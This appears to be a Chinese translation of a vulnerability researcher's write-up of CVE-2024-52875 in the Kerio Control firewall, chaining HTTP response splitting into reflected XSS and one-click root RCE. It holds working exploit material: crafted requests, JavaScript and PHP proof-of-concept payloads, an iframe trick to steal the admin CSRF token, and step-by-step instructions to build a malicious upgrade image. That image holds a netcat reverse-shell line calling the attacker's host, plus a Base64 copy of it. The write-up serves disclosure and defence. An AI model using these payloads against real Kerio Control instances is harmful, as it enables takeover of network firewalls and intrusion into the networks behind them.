Kerio Control,以前称为 Kerio WinRoute 防火墙,现在是一种非常流行的防火墙和统一威胁管理 (UTM) 产品,由GFI Software拥有和开发:根据Censys 的数据,目前整个互联网上有大约两万个 Kerio Control 实例!
Kerio Control 可以被视为一种网络安全解决方案,可管理入侵检测 (IDS) 和预防 (IPS)、网关防病毒、VPN、Web 内容、应用程序过滤和端点安全等安全服务……从任何角度来看,它绝对是一种将安全视为至关重要的软件产品。
我认为在 Kerio Control 这样的安全产品中发现安全问题总是相当具有挑战性的(或者至少应该是),这也是我想看看它并寻找一些新的安全漏洞的原因之一!🤓
剧透警告:在漏洞搜寻的第一天之后,我发现 Kerio Control 中存在多个HTTP 响应拆分漏洞,影响版本 9.2.5(于 2018 年 3 月发布)至 9.4.5。这意味着我们正在处理近七年前的安全漏洞,这些漏洞如今也称为CVE-2024-52875或KIS-2024-07。
这些漏洞存在于以下页面(也可能是其他页面):
/nonauth/addCertException.cs
/nonauth/guestConfirm.cs
/nonauth/expiration.cs
通过“ dest ” GET 参数传递给这些页面的用户输入在用于生成 302 HTTP 响应中的“ Location ” HTTP 标头之前未经过正确清理。具体来说,应用程序未正确过滤/删除换行符 (LF)。因此,可以利用此漏洞执行开放重定向和HTTP 响应拆分攻击,进而可能允许执行反射型跨站点脚本 (XSS)和其他可能的攻击。
乍一看,我认为这些漏洞的严重程度为“低”,因为它们需要用户交互 (UI)组件:受害者用户应在单击恶意链接时登录 Kerio Control,然后他们应与 XSSed 页面进行交互。换句话说,我认为成功利用漏洞需要 N-clicks 攻击,这就是为什么我最初将这些安全问题报告给GFI Software时将其严重程度定为“低”的原因……
然而,进一步的分析证明我错了,因为我意识到这些漏洞实际上可以利用一个已有 9 年历史的漏洞进行一键式RCE攻击!因此,我再次联系GFI Software,告诉他们我错了,这些漏洞应该被视为高 (8.8)严重性漏洞,需要尽快修复,特别是考虑到攻击者 — — 最终 — — 可能会在防火墙上获得root shell !
漏洞分析
首先,我们来找出这些漏洞的根本原因,它们与上述页面中的CRLF 注入错误有关。如果我们尝试向其中一个页面提交“ dest ”GET 参数,我们将得到如下响应。
要求:
GET /nonauth/guestConfirm.cs?dest=test HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
回复:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 10:50:03 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: µë-
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="µë-">µë-</a>
你已经发现发生了什么吗?响应中的字符串“ µë- ”和“ Location ”HTTP 响应标头的值表明“ dest ”GET 参数可能是以 Base64 编码的 URL。因此,让我们尝试以 Base64 编码一个随机 URL,并使用这样的值重新提交上述 HTTP 请求。
以“ http://attacker.website ”为有效负载的请求(以 Base64 编码):
GET /nonauth/guestConfirm.cs?dest=aHR0cDovL2F0dGFja2VyLndlYnNpdGU= HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
回复:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:03:38 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: http://attacker.website
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="http://attacker.website">http://attacker.website</a>
成功了!所以,首先显而易见的是:我们可以执行开放重定向攻击……在我看来,这不是什么酷事,特别是考虑到这可能是一个设计功能,是“有意为之”的东西,不被视为真正的安全漏洞,所以让我们继续测试吧!如果我们尝试在有效载荷中插入 CRLF 序列 (\r\n),我们会注意到它们实际上并没有从 HTTP 响应中删除!
请求内容为“ Test\r\nTest ”,以 Base64 编码:
GET /nonauth/guestConfirm.cs?dest=VGVzdA0KVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
回复:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:16:19 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test
Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test
Test">Test
Test</a>
它又成功了!这意味着 CRLF 序列没有被正确过滤/删除,因此我们可以将任意 HTTP 标头注入 Kerio Control 生成的 HTTP 响应中……但是HTTP 响应拆分攻击呢?要使这种攻击奏效,我们应该能够注入两个 CRLF 序列,后跟 HTTP 响应主体(的开头)。那么,让我们尝试以下操作。
请求内容为“ Test\r\n\r\nTest ”,以 Base64 编码:
GET /nonauth/guestConfirm.cs?dest=VGVzdA0KDQpUZXN0 HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
回复:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:24:20 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test
Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test
Test">Test
Test</a>
正如您所注意到的,HTTP 标头中的双 CRLF 序列已被忽略,并且我们仍然得到与之前几乎相同的响应(“ Location ”HTTP 标头后只有一个 CRLF 序列)……这是结局吗?还没有!在放弃之前,我尝试仅提交换行符 (LF),而不提交回车符 (CR),这成功了!😎
请求内容为“ Test\n\nTest ”以Base64编码后作为payload:
GET /nonauth/guestConfirm.cs?dest=VGVzdAoKVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
回复:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:34:58 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test
Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test
Test">Test
Test</a>
成功了!在这种情况下,HTTP 响应被成功“拆分”为一个或多个消息,并且除了任何 HTTP 标头之外,我们还可以在 HTTP 响应主体中注入任意数据!例如,在上面的 HTTP 响应中,“ Location ”是最后一个 HTTP 标头,而 HTTP 响应主体从“ Test\r\nPragma… ”开始,到“ Test</a> ”结束。
漏洞利用
所以我们现在能够执行HTTP 响应拆分攻击...让我们尝试将其转变为反射型跨站点脚本 (XSS)攻击,因为我们可以在 HTTP 响应正文中注入任意 HTML 标记。
我做的第一件事是制作以下 HTML 页面:
<script>
target = "192.168.123.64"; // IP address / hostname of the Kerio Control instance
payload = "\n\n<script>alert('XSS on ' + document.domain)<\/script>";
location.href = "https://" + target + ":4081/nonauth/guestConfirm.cs?dest=" + encodeURIComponent(btoa(payload));
</script>
它在 Google Chrome 上运行良好,但在 Firefox 上却不行...🤔 因此,我谷歌了一下,找到了这篇2020 年的博客文章,它基本上指出,当受害者用户使用 Firefox 时,可以滥用某些 URI 方案在 302 HTTP 响应中执行 XSS 负载。
因此,我按以下方式修改了上述概念验证脚本:
<script>
target = "192.168.123.64"; // IP address / hostname of the Kerio Control instance
payload = (navigator.userAgent.includes("Firefox")) ? "resource://xss" : "";
payload += "\n\n<script>alert('XSS on ' + document.domain)<\/script>";
location.href = "https://" + target + ":4081/nonauth/guestConfirm.cs?dest=" + encodeURIComponent(btoa(payload));
</script>
这个在 Google Chrome 和 Firefox 上都有效:
此时,我决定联系GFI Software报告这些发现,包括上述概念验证脚本。直到那之后,我才意识到这个脚本只有在使用代理工具(如Burp Suite ,我在测试这些漏洞时使用它)时才会起作用。这是因为响应中设置了“ Content-Encoding ”HTTP 标头,它将指示浏览器使用Deflate作为解压缩方法来解码 HTTP 响应主体——使用 Burp 时会自动完成此操作。
请注意,“ Content-Encoding ”标头在“ Location ”标头之前设置,这意味着我们不能忽略它,我们必须处理它。嗯,这很容易:只需使用Deflate算法对有效负载(或者更确切地说,响应主体)进行编码!🙃
因此,我们可以将概念证明重写为以下 PHP 脚本:
<?php
$target = "192.168.123.64"; # IP address / hostname of the Kerio Control instance
$body = "<script>alert('XSS on ' + document.domain)</script>";
$body = zlib_encode($body, ZLIB_ENCODING_DEFLATE);
$payload = (preg_match("/Firefox/", $_SERVER["HTTP_USER_AGENT"])) ? "resource://xss" : "";
$payload .= "\nContent-Length: " . strlen($body);
$payload .= "\n\n{$body}";
header("Location: https://{$target}:4081/nonauth/guestConfirm.cs?dest=" . urlencode(base64_encode($payload)));
?>
您是否注意到,这次我们还在正文前注入了“ Content-Length ” HTTP 标头?这是必需的,因为这样我们就可以指示浏览器仅读取/解析 N 个字节的 HTTP 响应正文(忽略所有其余部分),其中 N 是“ Content-Length ”标头的值。如果我们不这样做,那么浏览器将继续读取/解析正文直到最后,并且我们将收到响应解码错误,因为注入正文后面的字符串不是有效的Deflate编码数据。
下一步是将概念验证“武器化”,以显示真正的安全影响。但是,我注意到的第一个缺点是:当 Kerio Control 管理员用户登录管理界面时,应用程序将提供两个 cookie、一个使用HttpOnly属性设置的会话 ID ( SESSION_CONTROL_WEBADMIN )和一个CSRF令牌 ( TOKEN_CONTROL_WEBADMIN )。它们都设置为path=/admin/ ,这意味着我们无法 (?) 从位于/nonauth/目录下的页面直接访问这些 cookie(在本例中,只是CSRF令牌) 。
实际上,如果我们在概念验证脚本中修改 XSS 有效负载以“警告” document.cookie的值,我们将看到一个空的警告框。就是这样:当我们在/nonauth/目录下的页面上时, document.cookie是空的,这是因为 cookie 的范围仅限于/admin/路径......不用担心,一个已有九年历史的漏洞可以解决这个问题:仍然可以通过使用 iframe 加载位于/admin/目录下的资源(如 JS 脚本)来“窃取”非HttpOnly cookie;一旦加载了这个,我们就可以通过iframe.contentWindow.document.cookie访问 cookie ,如下所示:
function createIFrame()
{
iframe = document.createElement("iframe");
iframe.src = "https://192.168.123.64:4081/admin/constants.js";
iframe.style.display = "none";
iframe.sandbox = "allow-scripts allow-same-origin";
iframe.onload = function() {
cookie = iframe.contentWindow.document.cookie;
parseAndSaveCookie(cookie);
};
document.body.appendChild(iframe);
}
太棒了!所以,我们现在能够“窃取”受害者管理员用户的CSRF令牌,并通过滥用 XSS 负载中的XMLHttpRequest API 代表他们执行任何操作。这意味着我们可以添加新的管理员用户、更改任何用户的密码、修改防火墙设置等等……只需诱骗受害者管理员用户点击恶意链接(一键攻击)!然而,这个九年前的漏洞还提到了一个有趣的“远程命令执行”问题:
管理界面中的升级功能可用于上传任意文件,只需将 tar 文件更改为扩展名 .img 即可。如果创建包含 upgrade.sh shell 脚本的 tar 文件,则将以 root 权限执行此脚本。Kerio 尚未提供针对升级功能的修复。
值得注意的是,九年后,这个“升级漏洞”仍然适用于最新的 Kerio Control 版本!所以,我猜这是一个设计功能,从供应商的角度来看可能不是一个真正的安全问题?无论如何,将其包含在我们的 XSS 负载中很有用,因为它可能导致一键RCE攻击,攻击者可能能够在 Kerio Control 实例上获取root shell !🎉
您可以在这里找到一个概念验证脚本,通过 XSS 向量利用CVE-2024-52875来重现此一键式RCE攻击,以下是使用它的步骤:
1.按照漏洞利用中所述创建upgrade.img文件(使用攻击者的 IP 地址,假设为 192.168.123.38):
$ cat upgrade.sh
#!/bin/bash
nc 192.168.123.38 4444 -e /bin/bash &
$ tar czf upgrade.tar.gz upgrade.sh
$ mv upgrade.tar.gz upgrade.img
2.启动以下命令以获取upgrade.img文件的 Base64 编码版本:
$ cat upgrade.img | base64 -w 0
H4sIAAAAAAAAA+3OMQ6CQBSE4a05xTMmdi77YNnF44ASoCFGJPH4QkzUSitiTP6vmWKmmOncXqpTY8fOrMbNQvBLaizcez6EzKiP6r3GGINxqkVeGHHrXXqZxmt1ETFN298+7b71f2q7Set+SOtq7JLhKHrIrIbSapbbvBQ/k30jz43skl8/BgAAAAAAAAAAAAAAAAAs7g2Pz3gAKAAA
3.将此 Base64 字符串复制到概念验证脚本中,作为$upgrade变量的值。
4.将$target变量设置为 Kerio Control 实例的 IP 地址/主机名。
5.将概念验证 PHP 脚本复制到您的 Web 服务器的 webroot 目录中。
6.在端口 4444 上打开 netcat 监听:
$ nc -vlnp 4444
Listening on 0.0.0.0 4444
7.受害者管理员用户登录 Kerio Control 管理界面。
8.一旦登录,管理员用户就会被诱骗打开攻击者服务器上托管的概念验证脚本。
9.一旦加载,XSS payload 将执行RCE攻击,攻击者将在 netcat 监听器上获得root shell :
$ nc -vlnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.123.64 47023
id
uid=0(root) gid=0(root) groups=0(root)
10.游戏结束!👾
结论
Kerio Control 中发现CVE-2024-52875凸显了一个关键现实:即使是在设计时充分考虑安全性的产品也可能存在重大漏洞。此外,利用HTTP 响应拆分等看似“低”严重性的问题来实现一键式RCE攻击,凸显了漏洞利用的不断演变的独创性。它还强调了全面测试和及时修补的重要性,尤其是对于安全软件而言。
虽然九年前的漏洞在现代 Kerio Control 版本中仍然存在令人担忧,但它也提醒软件供应商要不断重新评估和强化其代码库。对于用户来说,它强调了采取主动措施的重要性,例如及时应用补丁、监控供应商建议以及确保分层防御机制。
安全是共同的责任。通过披露这些发现,我们的目标是提高安全意识,并激励软件供应商和用户果断采取行动,解决和缓解安全漏洞。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里